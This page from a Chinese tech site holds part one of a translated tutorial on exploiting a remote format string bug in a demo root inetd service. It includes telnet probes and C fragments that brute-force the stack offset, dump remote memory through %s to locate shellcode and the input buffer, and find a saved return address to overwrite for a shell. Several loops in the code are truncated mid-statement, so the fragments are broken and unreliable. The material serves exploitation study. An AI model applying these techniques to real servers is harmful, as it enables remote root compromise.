Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > 如何写远程自动精确定位的format string 一
【标  题】:如何写远程自动精确定位的format string 一
【关键字】:远程,in,for,at,rm,string,str,or,format,form,format,string
【来  源】:网络

如何写远程自动精确定位的format string 一

Your Ad Here 翻译整理有误的地方,还请斧正

format string bug已经被大家熟悉了,但写一个这样的exploit或者就有点难度了,特别是写一个远程自动精确定位的format string exploit.当然,有些format string bug是不能写出远程自动精确定位的exploit的,比如说vul出现在syslog(LOG_ERR, buf),
这样的vuln就只能暴力猜测了.
下面我们就step by step来展现下这种远程自动精确定位的format string exploit技术。


★★★ --[  1. Context : the vulnerable server  ]--

我们写了个很小的服务程序做为演示之用。请求login名和密码,然后echo它的输入。该服务程序代码放在appendix 1.

安装fmtd server, 配置如下,我们使用12345 port

# /etc/inetd.conf
12345  stream  tcp  nowait  root  /home/alert7/format/fmtd

Or with xinetd:

# /etc/xinetd.conf

service fmtd
{
 type        = UNLISTED
 user        = raynal
 group       = users
 socket_type = stream
 protocol    = tcp
 wait        = no
 server      = /tmp/fmtd
 port        = 12345
}

我的实验环境是默认redhat 6.2,所以选用的是第一种。

重起inetd服务。使fmtd服务有效。
[root@redhat]# netstat -nlp|grep 12345
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:12345           0.0.0.0:*               LISTEN      4932/inetd

现在,看看该服务是如何工作的:
[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
helo
helo
helo world
helo world
^]
telnet> quit
Connection closed.

看一下log文件
[root@redhat]# tail -5 /var/log/messages
Mar  3 22:03:14 redhat fmtd[4948]: login -> read login [alert7^M ] (8) bytes
Mar  3 22:03:15 redhat fmtd[4948]: passwd -> read passwd [bffff820] (3) bytes
Mar  3 22:03:15 redhat fmtd[4948]: vul() -> tmp = 0xbffff418 buf = 0xbffff018
Mar  3 22:03:23 redhat fmtd[4948]: vul() -> error while reading input buf [] (0)
Mar  3 22:03:23 redhat inetd[4932]: pid 4948: exit status 255

假如我们使用format string,try again

[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
%x %x %x %x
d 25207825 78252078 d782520

字符串"%x %x %x %x"将被做为format string,所以我们就看到了d 25207825 78252078 d782520,
显然,该server就存在一个format string vuln.


   下面是作者的原话,因为我认为他讲的有点问题,所以没有翻译,留着给读者自己鉴别。
   In fact, all programs acting like that are not vulnerable to a
   format bug:

         int main( int argc, char ** argv )
         {
           char buf[8];
           sprintf( buf, argv[1] );
         }
     
   Using %hn to exploit this leads to an overflow: the formatted
   string is getting greater and greater, but since no control is
   performed on its length, an overflow occurs.
   而我认为这样的程序还是可以利用format string bug to exploit it.
   唯一担心的是formatted string太大,会碰到堆栈底(0xc0000000)而使程序终止,
   这样的话就比较麻烦了。

看看server中问题所在的函数vul():
 ...
 snprintf(tmp, sizeof(tmp)-1, buf);
 ...

因为buffer 是用户可以直接输入控制的,所以利用它我们可以控制服务器,获取
server权限的shell.


★★★  --[ 2. Requested parameters ]--

就象local format bug一样,以下这些参数需要获得:

   * the offset to reach the beginning of the buffer ;
     到buffer开始的offset
   * the address of a shellcode placed somewhere is the server's memory ;
     shellcode的地址
   * the address of the vulnerable buffer ;
     vuln buffer的地址,也就是input buffer format string的地址
   * a return address.
     一个要覆盖的返回地址,覆盖这个地址,我们的shellcode才能得到控制权

exploit代码在附录2。下面部分我们来解释下exploit是如何设计的。

以下这些是exploit中使用到的一些变量:

   * sd : the socket between client (exploit) and the vulnerable server ;
          client和vuln server的一个socket
   * buf : a buffer to read/write some data ;
          读写的一些数据
   * read_at : an address in the server's stack ;
          要读服务器stack的地址
   * fmt : format string sent to the server.
          发送到server的format string


★★   --[  2.1 猜测offset  ]--

该offset在该类型的exploit中总是需要的,它的获取跟local exploit一样:

[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
AAAA%1$x
AAAAa
AAAA%2$x
AAAA41414141

这里,offset为2。该变量使用自动猜测也是很容易得到的(通过get_offset()获得)。
它发string "AAAA%$x"到服务器,假如offset是 ,服务器将会回答"AAAA41414141"

在某些不支持$的系统上,使用
[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
aaaa%p
aaaa0x8
aaaa%p%p
aaaa0xa0x61616161

其实还有个对齐问题,作者可能没有注意到
使用该模板发送到服务器
[a][a][a]AAAA%$x
[a]表示该a可选
假如发送aAAAA%7$x
服务器回答aAAAA41414141
那么就需要添一个a对齐即aligned=1,offset为7

在本文演示程序中,aligned = 0,offset = 2

例如printf(buf)这样一个函数调用时候
------------------------------------------------------------------
| printf's 返回时ebp | printf's 返回时eip | buf地址 |   x   |  x   | buf
------------------------------------------------------------------
                                         buf_ptr
这里,aligned 就是等于4- (buf-buf_ptr-4)%4
    if  (aligned ==4) aligned =0;
   
offset = (buf-buf_ptr-4)/4
其实aligned,offset 大部分时候可以用手动计算就可以得到

 #define MAXOFFSET 255

 for (i = 1; i

   snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);
   write(sock, fmt, strlen(fmt));
   memset(buf, 0, sizeof(buf));
   sleep(1);
   read(sock, buf, sizeof(buf))
   if (!strcmp(buf, "AAAA41414141"))
     offset = i;
 }


★★  --[  2.2 Guessing the address of the shellcode in the stack  ]--

我们必须猜测shellcode在服务器内存中的地址。我们可以把shellcode放到
vuln buffer中或者其他地方。比如密码中(PASS)---一些ftp server对anonymous
的passwd没有多做检查。我们的server就是这样工作的 。


★   -- --[  Making a format bug a debugger  ]-- --

我们的目标是找到shellcode在服务器内存中地址。所以我们将使用remote debugger
来达到目的。


使用format string "%s", 我们将send连续的"%s"到服务器,exploit能dump出
服务器进程的内存:

        %$s

exploit中,分两步完成:

  1. get_addr_as_char(u_int addr, char *buf)函数把add转化为char:
      *(u_int*)buf = addr;

  2. 4个字节后包含了format string

然后format string被送到远程的服务器上:

 get_addr_as_char(read_at, fmt);
 snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
 write(sd, fmt, strlen(fmt));

client读出在地址的数据(以string形式)。假如不包含shellcode,那么下一次
就在的地址读下一段string。

为了构造out buffer, sprintf() 从 string开始分析.
前面4个字节是要读的地址:他们简单的被拷贝到output buffer中.
然后是format string.因此,我们必须移4个字节:

 while( (len = read(sd, buf, sizeof(buf))) > 0) {
   [ ... ]
   read_at += (len-4+1);
   [ ... ]
 }


★    -- --[  我们要寻找什么 ?  ]-- --

另外一个问题是,如何在内存中鉴别出shellcode。假如正好读出了所有的shellcode,
还是一不小心就会错过它。因为buffer是以NULL结尾的,该字符串包含许多NOPs。因此读
shellcode操作可以分成两步完成。

为了避免上述问题,假如读的字节多少等于buffer的大小,exploit会忽略最后sizeof(shellcode)
字节大小的数据。所以,read操作按下面执行:

 while( (len = read(sd, buf, sizeof(buf))) > 0) {
   [ ... ]
   read_at += len;
   if (len == sizeof(buf))
     read_at-=strlen(shellcode);
   [ ... ]
 }

注意:这种情况还没有测试...所以不保证它能正常工作 ;-/
    这种机会出现的概率比较小,如果真的出现这样的情况的话,exploit会失败。


★    -- --[  在远程进程中查找shellcode的精确地址  ]-- --

在buf中匹配Pattern :

   ptr = strstr(buf, pattern);

它返回一个指向buf中pattern的指针。因此,shellcode的位置就是:
   addr_shellcode = read_at + (ptr-buf);

事实上还应该减去4,那4个字节就是用来读read_at地址的buffer开始的那四个字节

       addr_shellcode = read_at + (ptr-buf) - 4;

其实应该写成这样好理解些
       addr_shellcode = read_at + (ptr-(buf + 4) );


★   -- --[  shellcode : a summary  ]-- --

代码一小段,没什么好解释的:

 while( (len = read(sd, buf, sizeof(buf))) > 0) {
   if ((ptr = strstr(buf, shellcode))) {
     addr_shellcode = read_at + (ptr-buf) - 4;
     break;
   }
   read_at += (len-4+1);
   if (len == sizeof(buf)) {
     read_at-=strlen(shellcode);
   }
   memset (buf, 0x0, sizeof (buf));
   get_addr_as_char(read_at, fmt);
   write(sd, fmt, strlen(fmt));
 }


★★  --[  2.3 猜测返回地址  ]--

其次,我们该来猜测返回地址了。我们需要在远程进程stack(其实随便什么地址都行,只要最后让shellcode得到控制权)中找到这样一个地址,把shellcode的地址写入该返回地址。

我们的目标是找到积存器%eip存放的堆栈位置。分两步完成:

  1. 找到input buffer的地址
  2. 找出属于vuln buffer函数的返回地址

为什么我们需要查找buffer的地址呢?在堆栈中查找(saved ebp, saved eip)pair
对我们来说不是一个好主意。因为在不同的调用函数不用清理堆栈。所以它将包含以前函数调用的(saved ebp, saved eip)pair,甚至还包含着在进程中不使用的这样的pair.

因此,第一步,我们来猜测vuln buffer的地址。在该地址之上的地址中的pairs
(saved ebp, saved eip)才是可用的。


★   -- --[  猜测input buffer地址  ]-- --

input buffer在远程进程内存中是容易鉴别的:它是我们输入数据的一个mirror。
server fmtd不做任何修改的拷贝它们。(假如在服务器回答之前对input buffer
做了一下处理,比如都转成大写,这样就比较麻烦,需要处理下)

所以,我们很容易的就能得到一份format string拷贝的地址:

 while((len = read(sd, buf, sizeof(buf))) > 0) {
   if ((ptr = strstr(buf, fmt))) {
     addr_buffer = read_at + (ptr-buf) - 4;
     break;
   }
   read_at += (len-4+1);
   memset (buf, 0x0, sizeof (buf));
   get_addr_as_char(read_at, fmt);
   write(sd, fmt, strlen(fmt));
 }


★    -- --[  猜测返回地址  ]-- --

大部分linux的stack top在0xc0000000.但不是全部:Caldera 的stack top为
0x80000000 (BTW, 谁能解释下为什么?).还有一些打了安全内核补丁的stack top也
不一定为0xc0000000。那些返回地址的存放地位置大概在0xbfffXXXX,这里 是不
定数。而进程的代码被装载到0x08048000开始处。

所以,我们必须读远程堆栈,找到如下:

          0x0804XXXX
          0xbfffXXXX
          Top of the stack

由于i386上是小端字节序,这就等于查找下面字符序列0xff 0xbf XX XX 0x04 0x08.
就象前面看到的,我们不必考虑返回回来的string的最前面的4个字节:

   i = 4;
   while (i
     if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
     buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
   addr_ret = read_at + i - 2 + 4 - 4;
   fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
     }
     i++;
   }
   if (addr_ret != -1) break;

变量_ret>是用一个公式来计算:

   * read_at : the address we just read ;
   * +i : the offset in the string we are looking for the pattern (we
     can't use strstr() since our pattern has wildcards - undefined
     bytes XX) ;
   * -2 : the first bytes we discover in the stack are ff bf, but
     he full word (i.e. saved %ebp) is written on 4 bytes. The -2
     is for the 2 "least bytes" placed at the beginning of the word XX
     XX ff bf ;
   * +4 : this modification is due to the return address which is 4
     bytes above the saved %ebp ;
   * -4 : as you should be used to now, the first 4 bytes which are a
     copy of the read address.
   不翻译上面的了,中文意思表达不清,还是E的吧

如何写远程自动精确定位的format string 二:【上一篇】
如何用VB实现MP3播放功能?:【下一篇】
【相关文章】
  • 如何写远程自动精确定位的format string 二
  • 如何写远程自动精确定位的format string 三
  • 如何写远程自动精确定位的format string 四
  • window系统下的远程堆栈溢出 --《实战篇》
  • 高级format string exploit技术P59-0x07(下)
  • Linux 编程环境常见问题
  • 一个多功能linux 后门的源代码 上
  • 一个多功能linux 后门的源代码 下
  • Windows 2000缓冲区溢出
  • Windows黑客编程基础(上)
  • 【随机文章】
  • 专家谈杨利伟为何没上神舟六号
  • .net俱乐部12月10日活动ppt及程序代码
  • 该项及子项
  • VBScript Mid 函数
  • 用PS制作精美蜻蜓
  • 解决windows 2003+Sql2000中OLEDB分布式事务无法启动的解决方案
  • 沟通也是一种艺术
  • Microsoft SQL Server 7.0安装问题(一)
  • DOM工具
  • JavaScript语句
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 bbb软讯网络 All Rigths Reserved.